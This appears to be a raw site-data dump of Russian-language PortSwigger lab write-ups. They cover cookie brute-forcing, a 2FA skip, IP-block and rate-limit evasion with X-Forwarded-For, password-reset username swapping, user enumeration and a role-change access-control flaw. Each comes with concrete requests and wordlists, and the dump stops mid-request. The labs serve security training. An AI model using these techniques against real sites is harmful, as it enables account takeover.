payloads.txt\n",[21,12094,12095,12096,12099],{},"В ",[48,12097,12098],{},"passwords.txt"," закидываем пароли-кандидаты от PortSwigger.",[21,12101,12102],{},"Закидываем нагрузки в Intruder. 200 код пришёл для нагрузки:",[41,12104,12107],{"className":12105,"code":12106,"language":46},[44],"Cookie: stay-logged-in=Y2FybG9zOjIxYjcyYzBiN2FkYzVjN2I0YTUwZmZjYjkwZDkyZGQ2\n",[48,12108,12106],{"__ignoreMap":50},[21,12110,96],{},[357,12112,12113],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":12115},[12116,12117],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12118},[12119,12120,12121],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Раскладываем формат куки stay-logged-in как base64(username:md5(password)) и брутфорсим её в Intruder по словарю кандидатов.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie",{"title":11876,"description":12122},"notes\u002Fpentesting\u002Fportswigger\u002Fbrute-forcing-a-stay-logged-in-cookie",[117,11201,121],"YmH-9LSABuqN0lZyib7Tymyvx-t7qS05zz8mG3C8DLY",{"id":12130,"title":12131,"author":6,"body":12132,"date":12206,"description":12207,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12208,"navigation":112,"notes":110,"path":12209,"psTitle":12146,"seo":12210,"stem":12211,"tags":12212,"timeSpent":122,"type":123,"__hash__":12213},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass.md","Простой обход 2FA (PortSwigger Lab)",{"type":8,"value":12133,"toc":12198},[12134,12138,12140,12147,12149,12151,12157,12159,12162,12164,12174,12180,12189,12195],[11,12135,12137],{"id":12136},"простой-обход-2fa","Простой обход 2FA",[16,12139,19],{"id":18},[21,12141,12142,30],{},[24,12143,12146],{"href":12144,"rel":12145},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fmulti-factor\u002Flab-2fa-simple-bypass",[28],"2FA simple bypass",[16,12148,34],{"id":33},[36,12150,39],{"id":38},[41,12152,12155],{"className":12153,"code":12154,"language":46},[44],"This lab's two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, access Carlos's account page.\n\nYour credentials: wiener:peter\nVictim's credentials: carlos:montoya\n",[48,12156,12154],{"__ignoreMap":50},[36,12158,10324],{"id":10323},[21,12160,12161],{},"Есть сайт с уязвимой 2FA. Нам дали креды, необходимо обойти 2FA. Судя по заголовку — защита обходится просто, и мы сможем скипнуть шаг проверки.",[36,12163,683],{"id":682},[21,12165,12166,12167,12170,12171,12173],{},"Заходим и входим под ",[48,12168,12169],{},"wiener \u002F peter",". Попадаем на страницу ",[48,12172,11753],{},". Предлагают ввести код из имейла. Вводим. Далее редирект на:",[41,12175,12178],{"className":12176,"code":12177,"language":46},[44],"https:\u002F\u002F0ae4007204d3adac80a45d900033006c.web-security-academy.net\u002Fmy-account?id=wiener\n",[48,12179,12177],{"__ignoreMap":50},[21,12181,12182,12183,12185,12186,12188],{},"Попробуем скипнуть эту проверку под ",[48,12184,10765],{},", заменив ",[48,12187,1060],{}," пользователя. После входа не пытаемся вводить код, а сразу идём по:",[41,12190,12193],{"className":12191,"code":12192,"language":46},[44],"https:\u002F\u002F0ae4007204d3adac80a45d900033006c.web-security-academy.net\u002Fmy-account?id=carlos\n",[48,12194,12192],{"__ignoreMap":50},[21,12196,12197],{},"Лаба решена.",{"title":50,"searchDepth":98,"depth":98,"links":12199},[12200,12201],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12202},[12203,12204,12205],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"2026-05-18","Пропускаем шаг ввода 2FA-кода и переходим напрямую к \u002Fmy-account?id=carlos.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass",{"title":12131,"description":12207},"notes\u002Fpentesting\u002Fportswigger\u002F2fa-simple-bypass",[117,11201,121],"q_xkh1zqXUO1gCu9UepeGHHsuA2Gy42JJD-tDQ7drp4",{"id":12215,"title":12216,"author":6,"body":12217,"date":12206,"description":12392,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12393,"navigation":112,"notes":110,"path":12394,"psTitle":12231,"seo":12395,"stem":12396,"tags":12397,"timeSpent":265,"type":123,"__hash__":12398},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block.md","Сбой защиты от брутфорса с блокировкой IP (PortSwigger Lab)",{"type":8,"value":12218,"toc":12384},[12219,12223,12225,12232,12234,12236,12242,12244,12247,12249,12252,12258,12283,12286,12310,12321,12327,12330,12343,12349,12352,12358,12361,12364,12367,12379,12381],[11,12220,12222],{"id":12221},"сбой-защиты-от-брутфорса-с-блокировкой-ip","Сбой защиты от брутфорса с блокировкой IP",[16,12224,19],{"id":18},[21,12226,12227,144],{},[24,12228,12231],{"href":12229,"rel":12230},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-broken-bruteforce-protection-ip-block",[28],"Broken brute-force protection, IP block",[16,12233,34],{"id":33},[36,12235,39],{"id":38},[41,12237,12240],{"className":12238,"code":12239,"language":46},[44],"This lab is vulnerable due to a logic flaw in its password brute-force protection. To solve the lab, brute-force the victim's password, then log in and access their account page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\nCandidate passwords\n",[48,12241,12239],{"__ignoreMap":50},[36,12243,10324],{"id":10323},[21,12245,12246],{},"Есть уязвимый к брутфорсу сайт, защита — блокировка IP. Нам дали валидные креды для доступа, и есть имя пользователя для подбора пароля.",[36,12248,683],{"id":682},[21,12250,12251],{},"Посмотрим работу функции логина на сайте:",[41,12253,12256],{"className":12254,"code":12255,"language":46},[44],"POST \u002Flogin\nusername=carlos&password=test\n",[48,12257,12255],{"__ignoreMap":50},[41,12259,12261],{"className":2047,"code":12260,"language":2049,"meta":50,"style":50},"\u003Cp class=is-warning>Incorrect password\u003C\u002Fp>\n",[48,12262,12263],{"__ignoreMap":50},[308,12264,12265,12267,12269,12271,12273,12276,12279,12281],{"class":310,"line":311},[308,12266,2056],{"class":911},[308,12268,21],{"class":2059},[308,12270,11282],{"class":667},[308,12272,2066],{"class":911},[308,12274,12275],{"class":671},"is-warning",[308,12277,12278],{"class":911},">Incorrect password\u003C\u002F",[308,12280,21],{"class":2059},[308,12282,2077],{"class":911},[21,12284,12285],{},"Сделали ещё 2 попытки. На третью:",[41,12287,12289],{"className":2047,"code":12288,"language":2049,"meta":50,"style":50},"\u003Cp class=is-warning>You have made too many incorrect login attempts. Please try again in 1 minute(s).\u003C\u002Fp>\n",[48,12290,12291],{"__ignoreMap":50},[308,12292,12293,12295,12297,12299,12301,12303,12306,12308],{"class":310,"line":311},[308,12294,2056],{"class":911},[308,12296,21],{"class":2059},[308,12298,11282],{"class":667},[308,12300,2066],{"class":911},[308,12302,12275],{"class":671},[308,12304,12305],{"class":911},">You have made too many incorrect login attempts. Please try again in 1 minute(s).\u003C\u002F",[308,12307,21],{"class":2059},[308,12309,2077],{"class":911},[21,12311,12312,12313,12315,12316,12318,12319,426],{},"Посмотрим поведение сервера, если мы будем делать 2 неудачные попытки, а потом будем осуществлять успешный вход с данными ",[48,12314,12169],{},". Закинем в репитер 2 запроса: один для пользователя ",[48,12317,10765],{},", другой для ",[48,12320,11248],{},[21,12322,12323,12324,12326],{},"Делаем 2 подбора — всё ок, кидаем логин для ",[48,12325,11248],{}," — всё ок. Делаем ещё раз подбор 2 раза — всё ок, блокировки нет.",[21,12328,12329],{},"Теперь у нас есть план реализации: 2 попытки подбора пароля, затем успешный вход — и по новой до тех пор, пока не проверим все возможные пароли.",[21,12331,12332,12333,12336,12337,12339,12340,12342],{},"Подготовим 2 списка в любом редакторе. В первый вставим все пароли из предоставленного списка (100). Во втором будем последовательно добавлять ",[48,12334,12335],{},"carlos, carlos, carlos, wiener",". Эти 2 списка мы загрузим в Intruder, поэтому нужно, чтобы они мэтчились. Поэтому в позиции ",[48,12338,11248],{}," второго списка нам в первый нужно вставить его актуальный пароль — ",[48,12341,11936],{},". В итоге списки выглядят как:",[41,12344,12347],{"className":12345,"code":12346,"language":46},[44],"carlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\ncarlos\ncarlos\ncarlos\nwiener\n",[48,12348,12346],{"__ignoreMap":50},[21,12350,12351],{},"И пароли:",[41,12353,12356],{"className":12354,"code":12355,"language":46},[44],"123456\npassword\n12345678\npeter\nqwerty\n123456789\n12345\npeter\n1234\n111111\n1234567\npeter\ndragon\n123123\nbaseball\npeter\nabc123\nfootball\nmonkey\npeter\nletmein\nshadow\nmaster\npeter\n666666\nqwertyuiop\n123321\npeter\nmustang\n1234567890\nmichael\npeter\n654321\nsuperman\n1qaz2wsx\npeter\n7777777\n121212\n000000\npeter\nqazwsx\n123qwe\nkiller\npeter\ntrustno1\njordan\njennifer\npeter\nzxcvbnm\nasdfgh\nhunter\npeter\nbuster\nsoccer\nharley\npeter\nbatman\nandrew\ntigger\npeter\nsunshine\niloveyou\n2000\npeter\ncharlie\nrobert\nthomas\npeter\nhockey\nranger\ndaniel\npeter\nstarwars\nklaster\n112233\npeter\ngeorge\ncomputer\nmichelle\npeter\njessica\npepper\n1111\npeter\nzxcvbn\n555555\n11111111\npeter\n131313\nfreedom\n777777\npeter\npass\nmaggie\n159753\npeter\naaaaaa\nginger\nprincess\npeter\njoshua\ncheese\namanda\npeter\nsummer\nlove\nashley\npeter\nnicole\nchelsea\nbiteme\npeter\nmatthew\naccess\nyankees\npeter\n987654321\ndallas\naustin\npeter\nthunder\ntaylor\nmatrix\npeter\nmobilemail\nmom\nmonitor\npeter\nmonitoring\nmontana\nmoon\npeter\nmoscow\n",[48,12357,12355],{"__ignoreMap":50},[21,12359,12360],{},"Такое не прошло :) Я тут сделал 3 попытки подбора в ряд — надо переделать: 2 попытки, потом успешный вход. Поправим списки.",[21,12362,12363],{},"Но всё равно блок происходит…",[21,12365,12366],{},"А, блин, надо поставить в настройках, чтобы отправлялся 1 запрос за раз, без параллелизации, поэтому нас в блок и кидало, т.к. нам нужно отправлять запросы последовательно, один за одним. И ещё 0-ой запрос поправить нужно было, поскольку он улетал как с неправильным паролем, и ломался наш флоу атаки (попадали в блок).",[21,12368,12369,12370,12373,12374,1092,12376,426],{},"Отсортируем результаты атаки по коду ответа — ",[48,12371,12372],{},"302",". Находим нагрузку с ",[48,12375,10765],{},[48,12377,12378],{},"carlos \u002F 121212",[21,12380,12197],{},[357,12382,12383],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":12385},[12386,12387],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12388},[12389,12390,12391],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Перебор пароля carlos c обходом блокировки IP через чередование запросов с успешным входом за wiener.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block",{"title":12216,"description":12392},"notes\u002Fpentesting\u002Fportswigger\u002Fbroken-bruteforce-protection-ip-block",[117,11201,121],"R51k3ivy4Th_jFicERhe1OJ9d8DWY9ibi965jf9RN8w",{"id":12400,"title":12401,"author":6,"body":12402,"date":12206,"description":12504,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12505,"navigation":112,"notes":110,"path":12506,"psTitle":12416,"seo":12507,"stem":12508,"tags":12509,"timeSpent":122,"type":123,"__hash__":12510},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic.md","Сломанная логика сброса пароля (PortSwigger Lab)",{"type":8,"value":12403,"toc":12496},[12404,12408,12410,12417,12419,12421,12427,12429,12435,12437,12443,12449,12452,12458,12461,12467,12479,12482,12488,12494],[11,12405,12407],{"id":12406},"сломанная-логика-сброса-пароля","Сломанная логика сброса пароля",[16,12409,19],{"id":18},[21,12411,12412,30],{},[24,12413,12416],{"href":12414,"rel":12415},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fother-mechanisms\u002Flab-password-reset-broken-logic",[28],"Password reset broken logic",[16,12418,34],{"id":33},[36,12420,39],{"id":38},[41,12422,12425],{"className":12423,"code":12424,"language":46},[44],"This lab's password reset functionality is vulnerable. To solve the lab, reset Carlos's password then log in and access his \"My account\" page.\n\nYour credentials: wiener:peter\nVictim's username: carlos\n",[48,12426,12424],{"__ignoreMap":50},[36,12428,10324],{"id":10323},[21,12430,12431,12432,12434],{},"Функция сброса пароля уязвима на сайте. Необходимо сбросить пароль ",[48,12433,10765],{}," и зайти к нему в аккаунт.",[36,12436,683],{"id":682},[21,12438,12439,12440,12442],{},"Посмотрим, как работает функция смены пароля. Сбрасываем пароль для пользователя ",[48,12441,11248],{},". На почту приходит письмо со ссылкой:",[41,12444,12447],{"className":12445,"code":12446,"language":46},[44],"https:\u002F\u002F0a95002d04f7b35180b3a379004c0024.web-security-academy.net\u002Fforgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji\n",[48,12448,12446],{"__ignoreMap":50},[21,12450,12451],{},"Переходим, попадаем на страницу смены пароля. Вводим новый пароль, повторяем пароль. Улетает запрос:",[41,12453,12456],{"className":12454,"code":12455,"language":46},[44],"POST \u002Fforgot-password?temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji\n",[48,12457,12455],{"__ignoreMap":50},[21,12459,12460],{},"Тело:",[41,12462,12465],{"className":12463,"code":12464,"language":46},[44],"temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=wiener&new-password-1=peter&new-password-2=peter\n",[48,12466,12464],{"__ignoreMap":50},[21,12468,12469,12470,973,12472,973,12475,12478],{},"А что, если нам оставить этот токен, но поменять ",[48,12471,11168],{},[48,12473,12474],{},"new-password-1",[48,12476,12477],{},"new-password-2","?",[21,12480,12481],{},"Тело запроса будет выглядеть как:",[41,12483,12486],{"className":12484,"code":12485,"language":46},[44],"temp-forgot-password-token=0umvuzkyx1mfnas8tb890vwj1rjzk1ji&username=carlos&new-password-1=peter&new-password-2=peter\n",[48,12487,12485],{"__ignoreMap":50},[21,12489,12490,12491,426],{},"Отправляем — успешно, пароль изменён. Входим под ",[48,12492,12493],{},"carlos \u002F peter",[21,12495,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":12497},[12498,12499],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12500},[12501,12502,12503],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Подменяем username в POST-запросе сброса пароля, оставляя свой валидный токен, и меняем пароль чужого аккаунта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic",{"title":12401,"description":12504},"notes\u002Fpentesting\u002Fportswigger\u002Fpassword-reset-broken-logic",[117,11201,121],"o72IWpdGccMZBI6sdhDKu5vyrfMNHMnmao8DC11oMto",{"id":12512,"title":12513,"author":6,"body":12514,"date":12206,"description":12587,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12588,"navigation":112,"notes":110,"path":12589,"psTitle":12528,"seo":12590,"stem":12591,"tags":12592,"timeSpent":12593,"type":123,"__hash__":12594},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock.md","Перебор имён пользователей по блокировке аккаунта (PortSwigger Lab)",{"type":8,"value":12515,"toc":12579},[12516,12520,12522,12529,12531,12533,12539,12541,12544,12546,12549,12565,12571,12577],[11,12517,12519],{"id":12518},"перебор-имён-пользователей-по-блокировке-аккаунта","Перебор имён пользователей по блокировке аккаунта",[16,12521,19],{"id":18},[21,12523,12524,144],{},[24,12525,12528],{"href":12526,"rel":12527},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-account-lock",[28],"Username enumeration via account lock",[16,12530,34],{"id":33},[36,12532,39],{"id":38},[41,12534,12537],{"className":12535,"code":12536,"language":46},[44],"This lab is vulnerable to username enumeration. It uses account locking, but this contains a logic flaw. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n\nCandidate usernames\nCandidate passwords\n",[48,12538,12536],{"__ignoreMap":50},[36,12540,10324],{"id":10323},[21,12542,12543],{},"На сайте используется защита от брутфорса — блокировка аккаунта. Нужно, используя эту особенность, найти существующего пользователя и подобрать пароль.",[36,12545,683],{"id":682},[21,12547,12548],{},"Посмотрим, как работает функция входа и как выглядит блокировка аккаунта. В теории мы можем попробовать какое-нибудь имя пользователя, которое явно должно быть, и узнаем, как работает блокировка аккаунта.",[21,12550,12551,12552,973,12554,973,12557,12560,12561,12564],{},"Попробовал 30 запросов для ",[48,12553,1591],{},[48,12555,12556],{},"root",[48,12558,12559],{},"administrator",". Стабильно ",[48,12562,12563],{},"Invalid username or password",". Блокировки пока не видно.",[21,12566,12567,12568,426],{},"Меняю тактику. Делаю список из имён пользователей, в котором каждое имя будет повторяться 10 раз, чтобы словить блокировку. Отсортируем результаты атаки по длине ответа. Вот наш пока единственный кандидат — ",[48,12569,12570],{},"americas",[21,12572,12573,12574,426],{},"Ок, теперь организуем атаку на пароль этого пользователя. Сортируем по длине ответа. Нашли ",[48,12575,12576],{},"americas \u002F monkey",[21,12578,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":12580},[12581,12582],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12583},[12584,12585,12586],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Спамим вход по списку имён с повторами по 10 раз, ловим блокировку как сигнал существующего аккаунта.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock",{"title":12513,"description":12587},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-account-lock",[117,11201,121],"1h 10m","2sfXV59R6yQAjdUf8_4SSCCV138Gml8a-OKMlVbg2W8",{"id":12596,"title":12597,"author":6,"body":12598,"date":12206,"description":12725,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12726,"navigation":112,"notes":110,"path":12727,"psTitle":12612,"seo":12728,"stem":12729,"tags":12730,"timeSpent":12731,"type":123,"__hash__":12732},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing.md","Перебор имён пользователей по времени отклика сервера (PortSwigger Lab)",{"type":8,"value":12599,"toc":12717},[12600,12604,12606,12613,12615,12617,12623,12625,12628,12630,12633,12639,12642,12648,12651,12658,12667,12673,12676,12683,12709,12715],[11,12601,12603],{"id":12602},"перебор-имён-пользователей-по-времени-отклика-сервера","Перебор имён пользователей по времени отклика сервера",[16,12605,19],{"id":18},[21,12607,12608,144],{},[24,12609,12612],{"href":12610,"rel":12611},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fauthentication\u002Fpassword-based\u002Flab-username-enumeration-via-response-timing",[28],"Username enumeration via response timing",[16,12614,34],{"id":33},[36,12616,39],{"id":38},[41,12618,12621],{"className":12619,"code":12620,"language":46},[44],"This lab is vulnerable to username enumeration using its response times. To solve the lab, enumerate a valid username, brute-force this user's password, then access their account page.\n\nYour credentials: wiener:peter\nCandidate usernames\nCandidate passwords\n",[48,12622,12620],{"__ignoreMap":50},[36,12624,10324],{"id":10323},[21,12626,12627],{},"Нужно организовать брутфорс на основе анализа времени ответов сервера. Сперва добываем имя пользователя, потом — пароль для него. Словари имён и паролей предоставлены.",[36,12629,683],{"id":682},[21,12631,12632],{},"Посмотрим, как устроена форма входа. Всё как обычно:",[41,12634,12637],{"className":12635,"code":12636,"language":46},[44],"POST \u002Flogin\nusername=xxx&password=123\n",[48,12638,12636],{"__ignoreMap":50},[21,12640,12641],{},"Проведём брутфорс-атаку по именам. Обратим внимание на время получения ответа от сервера. Пароль зададим любой, только длинный — символов 100. Через десяток запросов в ответе стало приходить:",[41,12643,12646],{"className":12644,"code":12645,"language":46},[44],"You have made too many incorrect login attempts. Please try again in 30 minute(s).\n",[48,12647,12645],{"__ignoreMap":50},[21,12649,12650],{},"Ого!",[21,12652,12653,12654,12657],{},"На такой случай можно попробовать использовать заголовок ",[48,12655,12656],{},"X-Forwarded-For"," — он указывает бэкенду IP адрес клиента, сделавшего запрос, если тот проходил через прокси. Некоторые проверки по IP смотрят на этот заголовок, и задав его, мы можем обойти ограничение выше, как бы став другим IP адресом.",[21,12659,12660,12661,12664,12665,215],{},"Для этого в Intruder надо выбрать тип атаки ",[637,12662,12663],{},"Pitchfork"," — появится возможность вставлять несколько переменных в запрос. В конец запроса перед телом добавим ",[48,12666,12656],{},[41,12668,12671],{"className":12669,"code":12670,"language":46},[44],"X-Forwarded-For: §ip§\n",[48,12672,12670],{"__ignoreMap":50},[21,12674,12675],{},"В первую нагрузку можно поставить тип Number, от 1 до 10000. Во вторую закидываем наш список пользователей.",[21,12677,12678,12679,12682],{},"После завершения атаки добавим столбец ",[637,12680,12681],{},"Response received",", чтобы видеть время до начала получения ответа от сервера. Отсортируем запросы по колонке «Response received». Среди запросов видим один, у которого время до получения ответа 1414, в других случаях — не более 457.",[21,12684,12685,12686,12689,12690,12692,12693,12696,12697,12699,12700,12702,12703,12706,12707,426],{},"Можем попробовать подобрать пароль для ",[48,12687,12688],{},"ajax"," — похоже, это наш кандидат. Нагрузка №1 с ",[48,12691,12656],{}," остаётся. Нагрузка №2 теперь будет в поле ",[48,12694,12695],{},"password",", а имя фиксируем — ",[48,12698,12688],{},". Ищем код ",[48,12701,12372],{}," — редирект после успешного логина. Найден — ",[48,12704,12705],{},"summer",", вернул ",[48,12708,12372],{},[21,12710,12711,12712,426],{},"Окей, получается ",[48,12713,12714],{},"ajax \u002F summer",[21,12716,12197],{},{"title":50,"searchDepth":98,"depth":98,"links":12718},[12719,12720],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34,"children":12721},[12722,12723,12724],{"id":38,"depth":104,"text":39},{"id":10323,"depth":104,"text":10324},{"id":682,"depth":104,"text":683},"Брутфорс через Intruder с обходом rate-limit заголовком X-Forwarded-For и сортировкой по времени ответа.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing",{"title":12597,"description":12725},"notes\u002Fpentesting\u002Fportswigger\u002Fusername-enumeration-via-response-timing",[117,11201,121],"1h 30m","Yk_bIuAqdg4VLKooa2W8__gTTfsjf4B8u9hQ38ipMu4",{"id":12734,"title":12735,"author":6,"body":12736,"date":12846,"description":12847,"difficulty":108,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":12848,"navigation":112,"notes":110,"path":12849,"psTitle":12750,"seo":12850,"stem":12851,"tags":12852,"timeSpent":10723,"type":123,"__hash__":12854},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fmulti-step-process-with-no-access-control-on-one-step.md","Многошаговый процесс без контроля доступа на одном из шагов (PortSwigger Lab)",{"type":8,"value":12737,"toc":12838},[12738,12742,12744,12751,12753,12755,12761,12763,12769,12771,12774,12777,12783,12786,12792,12799,12813,12817,12823,12827,12833,12836],[11,12739,12741],{"id":12740},"многошаговый-процесс-без-контроля-доступа-на-одном-из-шагов","Многошаговый процесс без контроля доступа на одном из шагов",[16,12743,19],{"id":18},[21,12745,12746,30],{},[24,12747,12750],{"href":12748,"rel":12749},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Faccess-control\u002Flab-multi-step-process-with-no-access-control-on-one-step",[28],"Multi-step process with no access control on one step",[16,12752,34],{"id":33},[36,12754,39],{"id":38},[41,12756,12759],{"className":12757,"code":12758,"language":46},[44],"This lab has an admin panel with a flawed multi-step process for changing a user's role. You can familiarize yourself with the admin panel by logging in using the credentials administrator:admin.\n\nTo solve the lab, log in using the credentials wiener:peter and exploit the flawed access controls to promote yourself to become an administrator.\n",[48,12760,12758],{"__ignoreMap":50},[36,12762,10324],{"id":10323},[21,12764,12765,12766,12768],{},"Есть админка, в которой есть уязвимость в процессе смены роли пользователя. Нам нужно посмотреть, как устроена админка (дали креды). И, зайдя под пользователем ",[48,12767,11248],{},", эксплуатировать уязвимость и повысить свои права до административных.",[36,12770,683],{"id":682},[21,12772,12773],{},"Посмотрим админку. Есть селектор пользователей, выбранного можно сделать админом. Также можно убрать из админов.",[21,12775,12776],{},"Мы выбрали пользователя, нажали сделать админом:",[41,12778,12781],{"className":12779,"code":12780,"language":46},[44],"POST \u002Fadmin-roles\nusername=carlos&action=upgrade\n",[48,12782,12780],{"__ignoreMap":50},[21,12784,12785],{},"В ответ получили HTML — страница подтверждения действия. Если нажимаем «Подтвердить»:",[41,12787,12790],{"className":12788,"code":12789,"language":46},[44],"POST \u002Fadmin-roles\naction=upgrade&confirmed=true&username=carlos\n",[48,12791,12789],{"__ignoreMap":50},[21,12793,12794,12795,12798],{},"Как видим, здесь добавляется параметр ",[48,12796,12797],{},"confirmed=true",". Как мне кажется, как раз этот второй запрос и уязвим. Но проверим оба шага.",[21,12800,12801,12802,12804,12805,12808,12809,12812],{},"Залогинимся под ",[48,12803,11248],{}," и попробуем вызвать ",[48,12806,12807],{},"POST \u002Fadmin-roles"," без параметра ",[48,12810,12811],{},"confirmed",", а потом с ним. 2 варианта нагрузки:",[330,12814,12815],{},[333,12816],{},[41,12818,12821],{"className":12819,"code":12820,"language":46},[44],"POST 